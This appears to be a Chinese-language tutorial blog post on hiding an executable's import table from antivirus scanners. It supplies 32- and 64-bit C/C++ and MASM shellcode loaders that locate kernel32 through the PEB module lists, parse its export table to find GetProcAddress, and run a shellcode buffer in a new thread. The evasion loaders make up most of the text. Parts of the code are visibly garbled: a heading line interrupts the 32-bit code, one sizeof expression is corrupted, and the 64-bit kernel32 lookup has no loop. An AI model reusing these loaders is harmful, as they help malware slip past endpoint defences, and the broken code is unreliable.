隐藏导入表
通过pe文件,我们可以看见IAT导入表,在这个表中,记录了PE文件的使用以及相关的dll模块
我这里在vs2022中用dumpin /imports 命令举例
dumpbin /imports .\NormalInjection.exe
这里我们可以看见,很多api,其中,VirtualAlloc,CreateThread等api会被重点盯防
那么,怎么在导入表中隐藏这些api呢
首先我们使用的方法可以是,不直接调用这些函数,转而从kernel32里面直接找到这些函数的真实加载地址来做到不出现敏感api
#include <Windows.h>
int main() {
UCHAR buf[] = "shellcode";
typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES,
SIZE_T,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE,DWORD);
DWORD oldProtect = 0;
DWORD dwThreadId;
HMODULE hKernal32 = LoadLibrary(L"Kernel32.dll");//载入kernel32
pVirtualAlloc VirtualAlloc =
(pVirtualAlloc)GetProcAddress(hKernal32,"VirtualAlloc");//找到VirtualAlloc的地址
pVirtualProtect VirtualProtect =
(pVirtualProtect)GetProcAddress(hKernal32,"VirtualProtect");
pCreateThread CreateThread =
(pCreateThread)GetProcAddress(hKernal32,"CreateThread");
pWaitForSingleObject WaitForSingleObject =
(pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
VirtualProtect(&buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)
(CHAR*)buf, NULL, NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
这里我就不放截图演示导入表了,但是同时我们会获得一个疑问
那如果杀软连Loadlibary 和 GetProcAddress都查,那么怎么办呢
TEB,PEB结构
TEB(Thread Environment Block)和 PEB(Process Environment Block)是 Windows 操作系统中用于管理线程和进程的关键数据结构。它们在系统内部用于存储与进程和线程相关的信息。
在64位系统下
gs:[0x30] 指向TEB
gs:[0x60] 指向PEB
在32位系统下
mov eax, fs:[0x30] ; EAX = PEB 地址
mov eax, fs:[0x18] ; EAX = TEB 地址
为了逻辑完整,我们从头开始讲
这里我们以64位环境为例,用windbg来查看teb的结构
3: kd> dt _TEB
nt!_TEB
+0x000 NtTib : _NT_TIB
+0x038 EnvironmentPointer : Ptr64 Void
+0x040 ClientId : _CLIENT_ID
+0x050 ActiveRpcHandle : Ptr64 Void
+0x058 ThreadLocalStoragePointer : Ptr64 Void
+0x060 ProcessEnvironmentBlock : Ptr64 _PEB
+0x068 LastErrorValue : Uint4B
+0x06c CountOfOwnedCriticalSections : Uint4B
+0x070 CsrClientThread : Ptr64 Void
.........................................以下省略
可以看见,这个0x60处有一个指针指向PEB
3: kd> dt _PEB
nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 BitField : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 IsProtectedProcess : Pos 1, 1 Bit
+0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
+0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
+0x003 IsPackagedProcess : Pos 4, 1 Bit
+0x003 IsAppContainer : Pos 5, 1 Bit
+0x003 IsProtectedProcessLight : Pos 6, 1 Bit
+0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
+0x004 Padding0 : [4] UChar
+0x008 Mutant : Ptr64 Void
+0x010 ImageBaseAddress : Ptr64 Void
+0x018 Ldr : Ptr64 _PEB_LDR_DATA
+0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS
+0x028 SubSystemData : Ptr64 Void
.......以下省略
在0x18偏移处有一个_PEB_LDR_DATA结构,跟进去
3: kd> dt _PEB_LDR_DATA
nt!_PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr64 Void
+0x010 InLoadOrderModuleList : _LIST_ENTRY
+0x020 InMemoryOrderModuleList : _LIST_ENTRY
+0x030 InInitializationOrderModuleList : _LIST_ENTRY
+0x040 EntryInProgress : Ptr64 Void
+0x048 ShutdownInProgress : UChar
+0x050 ShutdownThreadId : Ptr64 Void
在这个结构里面,有三个链表头,他们都是描述同一批模块,但是链表内模块顺序不同
InLoadOrderModuleList :模块加载的顺序
InMemoryOrderModuleList :模块在内存的顺序
InInitializationOrderModuleList :模块初始化的顺序
每个链表头都有两个结构体成员,Flink和Blink分别指向下一个块和上一个块
而我们winapi一般都可以从kernel32里面调用
思路
1. 先找到PEB模块基址
2. 再从PEB中找到 PEB_LDR_DATA 结构
3. 定位双向链 InInitializationOrderModuleList
4. 获得DLL的基地址
实现
我们可以首先用汇编拿到PEB的地址
.CODE
GetPeb PROC
mov rax,gs:[60h]
ret
GetPeb ENDP
END
在64位中已经不支持内联汇编,需要额外的去写一个asm文件
在vs2022创建的项目中 添加一个新建项,改为asm文件
添加完文件之后,右键项目打开生成自定义界面,添加一个masm
修改asm文件的属性,使用自定义生成工具
在属性的常规中的两行里面填入下面内容
命令行:ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm
输出:$(IntDir)%(fileName).obj
在我们的主函数里面声明
extern "C" PVOID64 __stdcall GetPEB();//函数名以实际asm文件中定义的函数名为准
demo
32位
这个我没有试过,但是我还是贴了
// shellcode.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <string.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _PEB_LDR_DATA
{
DWORD Length;
bool Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA,*PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
UINT32 SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
UINT32 Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
PVOID SectionPointer;
UINT32 CheckSum;
UINT32 TimeDateStamp;
PVOID LoadedImports;
PVOID EntryPointActivationContext;
PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
typedef HMODULE (WINAPI * PLOADLIBRARY)(LPCSTR);
typedef DWORD (WINAPI * PGETPROCADDRESS)(HMODULE, LPCSTR);
typedef DWORD (WINAPI * PMESSAGEBOX)(HWND, LPCSTR,LPCSTR,UINT);
DWORD WINAPI ShellCode();
int main(int argc, char* argv[])
{
ShellCode();
getchar();
return 0;
}
DWORD WINAPI ShellCode()
{
PGETPROCADDRESS pGetProcAddress = NULL;
PLOADLIBRARY pLoadLibrary = NULL;
PMESSAGEBOX pMessageBox = NULL;
PLDR_DATA_TABLE_ENTRY pPLD;
PLDR_DATA_TABLE_ENTRY pBeg;
WORD *pFirst = NULL;
WORD *pLast = NULL;
DWORD ret = 0, i = 0;
DWORD dwKernelBase = 0;
char szKernel32[] =
{'k',0,'e',0,'r',0,'n',0,'e',0,'l',0,'3',0,'2',0,'.',0,'d',0,'l',0,'l',0,0,0};
// Unicode
char szUser32[] = {'u','s','e','r','3','2','.','d','l','l',0};
char szGetProcAddress[] =
{'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
char szLoadLibrary[] = {'L','o','a','d','L','i','b','r','a','r','y','A',0};
char szMessageBox[] = {'M','e','s','s','a','g','e','B','o','x','A',0};
char szHelloShellCode[] =
{'H','e','l','l','o','S','h','e','l','l','C','o','d','e',0};
__asm
{
mov eax,fs:[0x30] // PEB
mov eax,[eax+0x0C] // PEB->LDR
add eax,0x0C // LDR->InLoadOrderModuleList
mov pBeg,eax
mov eax,[eax]
mov pPLD,eax
}
// Find Kerner32.dll
while (pPLD != pBeg)
{
pLast = (WORD*)pPLD->BaseDllName.Buffer;
pFirst = (WORD*)szKernel32;
while (*pFirst && *pLast == *pFirst)
pFirst++,pLast++;
if (*pFirst == *pLast)
{
dwKernelBase = (DWORD)pPLD->DllBase;
break;
}
pPLD = (LDR_DATA_TABLE_ENTRY*)pPLD->InLoadOrderLinks.Flink;
}
// Kernel32.dll -> GetProcAddress
if (dwKernelBase != 0)
{
// 通过指针定位到导出表
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwKernelBase;
PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader +
pDosHeader->e_lfanew);
PIMAGE_FILE_HEADER pPEHeader = (PIMAGE_FILE_HEADER)((DWORD)pDosHeader +
pDosHeader->e_lfanew + 4);
PIMAGE_OPTIONAL_HEADER32 pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)
((DWORD)pPEHeader + sizeof(/images/shellcode/image_FILE_HEADER));
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)
((DWORD)pOptionHeader + pPEHeader->SizeOfOptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)
((DWORD)dwKernelBase + pOptionHeader->DataDirectory[0].VirtualAddress);
// 导出函数地址表RVA
DWORD *pAddOfFun_Raw = (DWORD*)((DWORD)dwKernelBase + pExportDirectory-
>AddressOfFunctions);
// 导出函数名称表RVA
WORD *pAddOfOrd_Raw = (WORD*)((DWORD)dwKernelBase + pExportDirectory-
>AddressOfNameOrdinals);
// 导出函数序号表RVA
DWORD *pAddOfNames_Raw = (DWORD*)((DWORD)dwKernelBase +
pExportDirectory->AddressOfNames);
DWORD dwCnt = 0;
char* pFinded = NULL, *pSrc = szGetProcAddress;
for (; dwCnt < pExportDirectory->NumberOfNames;dwCnt++)
{
pFinded = (char*)((DWORD)dwKernelBase + pAddOfNames_Raw[dwCnt]);
while (*pFinded && *pFinded == *pSrc)
pFinded++, pSrc++;
64位下隐藏导入表实现
if (*pFinded == *pSrc)
{
pGetProcAddress = (PGETPROCADDRESS)
(pAddOfFun_Raw[pAddOfOrd_Raw[dwCnt]] + (DWORD)dwKernelBase);
break;
}
pSrc = szGetProcAddress;
}
}
// 通过pGetProcAddress进行调用
pLoadLibrary = (PLOADLIBRARY)pGetProcAddress((HMODULE)dwKernelBase,
szLoadLibrary);
pMessageBox =
(PMESSAGEBOX)pGetProcAddress(pLoadLibrary(szUser32),szMessageBox);
pMessageBox(NULL,szHelloShellCode,0,MB_OK);
return 0;
}
64位
也不细讲了,主要的思路就是首先通过PEB找到kernel32,然后找到GetProcAddr的真实地址,取这个函数的指针来代替直接使用GetProcAddr 这个WINAPI来获取其他几个VirtualProtect,CreateThread这样的函数地址,然后同理调用
#include <stdio.h>
#include <windows.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList();
HMODULE getKernel32Address() {
LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList(); // 获取InInitializationOrderModuleList
UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);
if (*(FullDllName->Buffer + 12) == '\0') {
return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));
}
pNode = pNode->Flink;
}
DWORD64 getGetProcAddress(HMODULE hKernal32) {
PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 获取DOS头
PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr +
baseAddr->e_lfanew); // 偏移到NT头
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)
((LONG64)baseAddr + pImageNt -> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); //获取导出表
PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir -> AddressOfFunctions); // 获取导出函数地址RVA数组地址
PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); //获取导出函数名RVA数组地址
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir -> AddressOfNameOrdinals); // 获取导出函数序号数组地址
for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 遍历函数
LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr +
RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 当前函数地址
PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 当前函数名地址
if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
return F_va_Tmp;
}
}
}
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
unsigned char buf[] = "x64shellcode";
HMODULE hKernal32 = nullptr; // 初始化为 nullptr,防止可能的未初始化指针
pVirtualProtect VirtualProtect = NULL;
pCreateThread CreateThread = NULL;
pWaitForSingleObject WaitForSingleObject = NULL;
pGetProcAddress GetProcAddress = NULL;
hKernal32 = getKernel32Address(); // 获取Kernel32
GetProcAddress =(pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress地址
VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32,"VirtualProtect");
CreateThread = (pCreateThread)GetProcAddress(hKernal32,"CreateThread");
WaitForSingleObject =(pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE,
&oldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
.CODE
GetInInitializationOrderModuleList PROC
mov rax,gs:[60h] ; PEB,不能写 0x60
mov rax,[rax+18h] ; PEB_LDR_DATA
mov rax,[rax+30h] ; InInitializationOrderModuleList
ret ; 不能写 retn
GetInInitializationOrderModuleList ENDP
END